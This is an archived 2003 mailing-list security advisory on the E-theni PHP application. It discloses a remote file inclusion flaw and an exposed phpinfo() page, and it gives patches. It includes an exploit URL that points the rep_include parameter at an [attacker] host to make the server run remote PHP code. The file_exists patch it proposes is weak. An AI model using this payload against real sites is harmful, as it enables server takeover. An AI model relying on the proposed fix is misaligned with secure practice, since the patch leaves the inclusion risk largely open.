

[VulnWatch] E-theni (PHP)

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-01/0011.html>

From: Frog Man (leseulfrog@hotmail.com)

Date: 01/06/03

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Mon, 06 Jan 2003 21:25:43 +0100

Informations :

oooooooooooooooo

Version : ?

Website : <http://www.theni.freesurf.fr>

Problems :

- Include file
- phpinfo()

PHP Code/Location :

oooooooooooooooo

/admin_t/include/aff_liste_langue.php :

require (\$rep_include."para_langue.php");

/admin_t/include/find_theni_home.php :

<html>
<body>
<?
phpinfo();
>
</body></html>

Exploits :

oooooooooooo

-
[http://\[target\]/admin_t/include/aff_liste_langue.php?rep_include=http://\[attacker\]/](http://[target]/admin_t/include/aff_liste_langue.php?rep_include=http://[attacker]/)
with :
[http://\[attacker\]/para_langue.php](http://[attacker]/para_langue.php)

(This will work only if register_globals=ON)

- [http://\[target\]/admin_t/include/find_theni_home.php](http://[target]/admin_t/include/find_theni_home.php)

VulnWatch: [VulnWatch] E-theni (PHP)

Patches :

oooooooo

In admin_t/include/aff_liste_langue.php, replace the line :

```
-----  
require ($rep_include."para_langue.php");  
-----
```

by :

```
-----  
if (file_exists($rep_include."para_langue.php")){  
require ($rep_include."para_langue.php");  
}  
-----
```

&

To replace the file /admin_t/include/find_theni_home.php by :

```
-----  
<?  
session_start();  
if (session_is_registered("USER")==FALSE or $USER[id_user]<1){  
exit;  
} else {  
echo "<html>";  
echo "<body>";  
phpinfo();  
echo "</body></html>";  
}  
?>  
-----
```

A patch can be found on <http://www.phpsecure.org>.

More details :

oooooooooooooooo

In French :

<http://www.frog-man.org/tutos/E-theni.txt>

Translated by Google :

<http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FE-theni.txt&langpair=fr%2Fen>
+0100 (CET)

frog-m@n

MSN Messenger : discutez en direct avec vos amis !

<http://www.msn.fr/msger/default.asp>